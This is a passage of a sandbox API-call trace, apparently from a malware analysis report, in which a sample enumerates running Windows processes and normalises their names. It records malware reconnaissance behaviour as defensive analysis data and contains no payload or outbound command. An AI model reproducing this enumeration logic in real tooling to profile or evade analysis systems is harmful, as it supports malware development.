| out: lpString1="csrss.exe") returned="csrss.exe" [0201.370] lstrlenW (lpString="csrss.exe") returned 9 [0201.370] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0201.370] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0201.370] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0201.370] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0201.371] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0201.371] lstrlenW (lpString="wininit.exe") returned 11 [0201.371] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0201.371] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0201.371] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0201.371] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0201.371] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0201.371] lstrlenW (lpString="csrss.exe") returned 9 [0201.371] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0201.371] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0201.372] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0201.372] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0201.372] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0201.372] lstrlenW (lpString="winlogon.exe") returned 12 [0201.372] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0201.372] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0201.372] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0201.372] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0201.373] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0201.373] lstrlenW (lpString="services.exe") returned 12 [0201.373] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0201.373] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0201.373] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0201.373] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0201.374] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0201.374] lstrlenW (lpString="lsass.exe") returned 9 [0201.374] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0201.374] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0201.374] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0201.374] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.374] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0201.374] lstrlenW (lpString="svchost.exe") returned 11 [0201.374] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0201.374] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.374] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.374] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.375] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0201.375] lstrlenW (lpString="svchost.exe") returned 11 [0201.375] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0201.375] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.375] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.375] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0201.376] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0201.376] lstrlenW (lpString="dwm.exe") returned 7 [0201.376] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0201.376] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0201.376] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0201.376] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.376] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0201.376] lstrlenW (lpString="svchost.exe") returned 11 [0201.377] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0201.377] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.377] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.377] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.377] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0201.377] lstrlenW (lpString="svchost.exe") returned 11 [0201.377] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0201.377] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.377] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.377] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.378] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0201.378] lstrlenW (lpString="svchost.exe") returned 11 [0201.378] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0201.378] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.378] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.378] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.379] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0201.379] lstrlenW (lpString="svchost.exe") returned 11 [0201.379] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0201.379] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.379] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.379] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.379] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0201.379] lstrlenW (lpString="svchost.exe") returned 11 [0201.379] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0201.379] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.379] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.379] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.381] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0201.381] lstrlenW (lpString="svchost.exe") returned 11 [0201.381] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0201.381] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.381] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.381] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0201.382] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0201.382] lstrlenW (lpString="spoolsv.exe") returned 11 [0201.382] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0201.382] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0201.382] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0201.382] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.383] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0201.383] lstrlenW (lpString="svchost.exe") returned 11 [0201.383] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0201.383] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.383] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.383] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0201.384] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0201.384] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0201.384] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0201.384] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0201.384] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0201.384] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.384] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0201.384] lstrlenW (lpString="svchost.exe") returned 11 [0201.384] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0201.384] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.384] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0201.384] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0201.385] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0201.385] lstrlenW (lpString="sihost.exe") returned 10 [0201.385] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0201.385] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0201.385] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0201.385] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0201.386] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0201.386] lstrlenW (lpString="taskhostw.exe") returned 13 [0201.386] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0201.386] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0201.386] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0201.386] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0201.387] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0201.387] lstrlenW (lpString="explorer.exe") returned 12 [0201.387] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0201.387] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0201.387] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0201.387] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0201.387] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0201.387] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0201.387] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0201.387] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0201.387] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0201.387] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0201.388] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0201.388] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0201.388] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0201.388] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0201.388] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0201.388] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0201.389] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0201.389] lstrlenW (lpString="SearchUI.exe") returned 12 [0201.389] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0201.389] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0201.389] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0201.389] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0201.389] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0201.389] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0201.389] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0201.389] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0201.389] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0201.389] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0201.390] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0201.390] lstrlenW (lpString="nice cu.exe") returned 11 [0201.390] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0201.390] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0201.390] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0201.390] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0201.391] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0201.391] lstrlenW (lpString="video_reviewing.exe") returned 19 [0201.391] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0201.391] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0201.391] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0201.391] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0201.391] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0201.391] lstrlenW (lpString="shame.exe") returned 9 [0201.391] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0201.392] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0201.392] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0201.392] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0201.392] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0201.392] lstrlenW (lpString="fantasy.exe") returned 11 [0201.392] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0201.392] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0201.392] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0201.392] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0201.393] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0201.393] lstrlenW (lpString="accepting.exe") returned 13 [0201.393] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0201.393] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0201.393] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0201.393] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0201.394] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0201.394] lstrlenW (lpString="authorized.exe") returned 14 [0201.394] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0201.394] PathFindFileNameW 